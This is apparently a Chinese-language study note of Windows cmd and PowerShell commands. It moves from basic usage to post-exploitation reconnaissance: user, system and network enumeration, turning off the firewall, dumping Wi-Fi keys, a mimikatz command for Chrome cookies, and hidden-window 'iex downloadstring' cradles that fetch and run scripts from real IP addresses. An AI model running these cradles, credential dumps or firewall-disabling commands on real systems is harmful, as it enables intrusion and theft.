windows常用cmd和powershell指令

#windows加参数一般是一个反斜杠加参数 
#比如,可以使用dir /?来查看dir其它用法

# 系统信息
hostname #查看主机名
SET #设置环境变量

# 进入某个盘
D:
# 或者是
cd D://

# 目录
dir # 查看当前目录下的文件,类似于linux下的ls .
# 创建目录和删除目录
# 创建目录
md 目录名(文件夹) # mkdir
# 删除目录
rd 目录名(文件夹) # rmdir
cls #清除屏幕,类似于linux下的clear
copy 路径\文件名 路径\文件名 #把一个文件拷贝到另一个地方。 cp
move 路径\文件名 路径\文件名 #把一个文件移动 mv
del 文件名 #删除文件 //rm

# 网络
ipconfig # 查看本机ip
ipconfig /all #查看所有信息
ping ip(主机名) #用来测试网络是否畅通

# 进程
systeminfo #查看系统信息 ,关注在什么域,关注打了哪些补丁
tasklist #显示当前正在运行的进程:
start 程序名 #运行程序或命令:
taskkill /im notepad.exe(关闭记事本) #结束进程,按名称
taskkill /pid 1234(关闭 PID 为 1234 的进程) #结束进程,按 PID

# 服务
net start #显示当前正在运行的服务:
netstat -ano #网卡运行的程序:
net start 服务名 #启动指定服务:
net stop 服务名 #停止指定服务:

# wifi
netsh wlan show profiles #查看无线网络的所有 wifi 配置设置
netsh wlan show profile name="EEFUNG" key=clear #Windows查看wifi密码
# kali查看wifi密码不一样,是通过强制发包,把你挤下去,作为中间人,监听你上线输入的密码(这是拿到机器后才能进行的操作)

# 开关机
shutdown /s #关机
shutdown /r #重启
shutdown /l #注销
shutdown /h /f #休眠
shutdown /a #取消关机
shutdown /s /t 3600(3600 秒后关机) #定时关机

Powershell介绍

在不同的操作系统中,会有不同的命令提示符。

在Mac中,默认使用的就是Bash,也有好多人通过oh my zsh使用zsh。

而在Windows系统,命令行提示符有CMD.exe和Powershell两种。

Powershell是cmd的超集,换句话说,cmd能做的事情,Powershell都能做,可以直接在Powershell中执行CMD的命令,而且Powershell还能额外做许多cmd不能做的事情。PowerShell不仅兼容几乎所有的cmd命令,还通过别名的方式兼容部分Linux Shell的命令,如:ls、kill、pwd、history、sleep、cd、rm、rmdir、ps、man,PowerShell命令称为cmdlet,与原本的cmd和LinuxShell不同,cmdlet的实现基于面向对象,借助.NET Framework平台强大的类库,实现强大的功能。

基本语法

# 查看cmdlet、function、alias的帮助文档 
Get-Help <String>
help
man <String>

# 查看cmdlet、function、alias信息,支持通配符*匹配,就是查看这个命令的详细信息 !!
Get-Command [[-Name] <String>]
Get-Command *process* # 获取所有包含process字段的程序的信息
Get-Command whoami # 获取whoami的信息
# 输出
CommandType Name Version Source
----------- ---- ------- ------
Application whoami.exe 10.0.19... C:\WINDOWS\system32\whoami.exe

# 查看进程信息,支持通配符*匹配
Get-Process
ps [[-Name] <String>]

# 查看当前会话中命令别名 ,就是将其他命令换一个名字记忆,获取这种别名
Get-Alias [[-Name] <String>]

# 获取目录信息,Filter支持通配符*
Get-ChildItem
ls
dir [[-Path] <String>] [[-Filter] <String>]

# 获取当前目录位置
Get-Location / pwd

# 获取当前会话中的变量信息,支持通配符*
Get-Variable [[-Name] <String>]

# 获取当前程序PID:Get-Variable PID


# 获取服务,支持通配符*
Get-Service [[-Name] <String>]

# 获取当前会话的执行策略
Get-ExecutionPolicy

# 获取文件内容
Get-Content / type [-Path] <String>

# 为命令设置别名
Set-Alias [-Name] <Alias_String> [-Value] <String>

# 设置变量值
Set-Variable [-Name] <String> [[-Value] <Object>]

# 切换路径
Set-Location
cd [[-Path] <String>]

# 启动、停止、暂停服务
Set-Service [-Name] <System.String> [-Status {Paused | Running | Stopped}]

# 设置PowerShell命令执行策略
Set-ExecutionPolicy {AllSigned | Bypass | Default | RemoteSigned | Restricted | Undefined | Unrestricted}

# 将字符串当作命令在本地执行 (常用)
Invoke-Expression
iex [-Command] <String> [<CommonParameters>]

# 新建.NET Framework对象
New-Object [-TypeName] <String>
# 新建文件/目录
# -Name:文件/目录名称
# -Path:文件/目录所在目录
# -Value:文件中的内容
# -Force:覆盖当前文件/目录
# -Confirm:需要交互式确认

# -ItemType包括:Directory、File、SymbolLink、Junction、HardLink
New-Item / mkdir -Name <String> [[-Path] <String>] [-Value <Object>] [-Force] [-Confirm] [-ItemType <String>]
# 复制文件/目录
Copy-Item [-Path] <String> [[-Destination] <String>]
# 复制文件/目录
Move-Item [-Path] <String> [[-Destination] <String>]
# 删除文件/目录
Remove-Item [-Path] <String>
# 重命名文件/目录
Rename-Item [-Path] <String> [-NewName] <String>

用户信息收集

# 查看本机用户列表 
net user
# 获取本地管理员信息
net localgroup administrators
# 查看当前在线用户
quser #原本是没有此工具的,要下载才有
quser user
query user || qwinsta
# 查看当前用户在目标系统中的具体权限。显示当前用户名、所属的组以及安全等级、当前用户访问令牌的标识符(SID)、声明和权限。
whoami /all
# 查看当前权限
whoami
whoami /priv

# 查看当前机器中所有的组名,了解不同组的职能,如,IT,HR,ADMIN,FILE
net localgroup
#(收集目标机器有哪些组)

# 查看用户信息
$host

系统信息收集

#查询操作系统及软件信息
systeminfo # 查看系统信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 英文系统
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" #中文系统
#查看当前系统版本
wmic OS get Caption,CSDVersion,OSArchitecture,Version
#查看系统体系结构
echo %PROCESSOR_ARCHITECTURE%
#查询本机服务信息
wmic service list brief
#查看安装的软件的版本、路径等
wmic product get name, version
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version"
#查询进程信息
tasklist
wmic process list brief
#查看启动程序信息
wmic startup get command,caption
#查看计划任务
at #(win10之前)
schtasks /query /fo LIST /v #(win10)

#列出或断开本地计算机与所连接的客户端的对话
net session

#查看远程连接信息
cmdkey # 创建,显示和删除保存的用户名和密码。
cmdkey /l # 要列出可用的凭据

#查看补丁列表
systeminfo | findstr KB
#查看补丁的名称、描述、ID、安装时间等
wmic qfe get Caption,Description,HotFixID,InstalledOn
#查看杀软
WMIC /Node:localhost /Namespace:\root\SecurityCenter2 Path AntiVirusProduct Get displayName/Format:List
#查看本地密码策略
net accounts
#查看hosts文件:
cat /etc/hosts #Linux
type c:\Windows\system32\drivers\etc\hosts #Windows

网络信息收集

# 查询网络配置信息。进行IP地址段信息收集
ipconfig /all
# 查看 dns 缓存
ipconfig /displaydns
#查看本机所有的tcp,udp端口连接及其对应的pid
netstat -ano
netstat -ano|findstr 80 #查看 80 端口对应的 PID
#查看本机所有的tcp,udp端口连接,pid及其对应的发起程序
netstat -anob
#查看本机共享列表和可访问的域共享列表 (445端口)
net share
wmic share get name,path,status
#查看路由表和arp缓存
route print
arp -a

net statistics workstation #查看开关机信息网络错误




#route 命令
route #命令是在本地 IP 路由表中显示和修改条目网络命令。
route #命令常用的命令如下:
route delete #删除路由;
route print #打印路由的 Destination;
route add #添加路由;
route change #更改现存路由。
# 一般使用 route delete、route add、route print 这三条命令可解决路由的所有功能。

# arp命令
arp -a
arp -d #删除 inet_addr 指定的主机。inet_addr 可以是通配符 *,以删除所有主机。

防火墙信息收集

#关闭防火墙(Windows Server 2003 以前的版本)
netsh firewall set opmode disable
#关闭防火墙(Windows Server 2003 以后的版本)
netsh advfirewall set allprofiles state off
# 打开防火墙
netsh advfirewall set allprofiles state on
# 关闭防火墙
netsh advfirewall set allprofiles state off

#查看防火墙配置(netsh命令也可以用作端口转发)
netsh firewall show config
#查看配置规则
netsh advfirewall firewall show rule name=all

# 查看防火墙状态
netsh #可让你以本地或远程方式显示或修改当前正在运行的计算机的网络配置
advfirewall # netsh下输入
show # netsh advfirewall下输入,显示查看防火墙的相关命令
show currentprofile # netsh advfirewall查看防火墙策略、防火墙日志状态等信息

#wifi密码
netsh wlan show profile
netsh wlan show profile name="EEFUNG" key=clear

其他信息收集

#回收站内容获取 
FOR /f "skip=1 tokens=1,2 delims= " %c in ('wmic useraccount get name^,sid') do dir /a /b
C:\$Recycle.Bin\%d\ ^>%c.txt
cd C:\$Recycle.Bin\S-1-5-21-3845785564-1101086751-683477353-1001\
$I 开头的文件保存的是路径信息
$R 开头的文件保存的是文件内容
#Chrome历史记录和Cookie获取
%localappdata%\google\chrome\USERDA~1\default\LOGIND~1
%localappdata%\google\chrome\USERDA~1\default\cookies
chrome的用户信息,保存在本地文件为sqlite 数据库格式
mimikatz.exe privilege::debug log "dpapi::chrome
/in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v
ProxyServer
#通过pac文件自动代理情况
REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v
AutoConfigURL

自动信息收集

powershell脚本

FTP访问、共享连接、putty连接、驱动、应用程序、hosts 文件、进程、无线网络记录

https://github.com/samratashok/nishang/blob/master/Gather/Get-Information.ps1

powershell iex(new-object net.webclient).downloadstring('http://47.115.9.13:8000/Get-Information.ps1');Get-Information Nishang-Gather-Get-Information.ps1 
powershell iex(new-object net.webclient).downloadstring('http://47.115.9.13:8000/Get-Information.ps1');
# 这个`iex`就是将字符串当作命令执行,`new-object`就是创建一个`.net`的对象,下载`url`上的内容里的字符串

技巧

  • powershell支持变量赋值,因此可以绕过防火墙

变量赋值的方式执行命令。

image-20230302132950258
  • 混淆语法,
  • freenom注册域名

渗透命令

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://124.223.217.243:1232/a1'))"

# -w hidden 作为隐藏的进程执行
# -c 执行命令
# IEX 将远程字符串当作命令在本地执行 (常用)
# New-Object 新建了一个net.webclient的对象,执行了从http://150.158.127.72:9997/a下载字符串的功能

refer

-

声明:

  1. 若文章存在错误,望诸君不吝指正^

  2. 部分笔记由于年代久远,做的笔记找不到最初是引用谁的,若是不允许引用转载,请联系我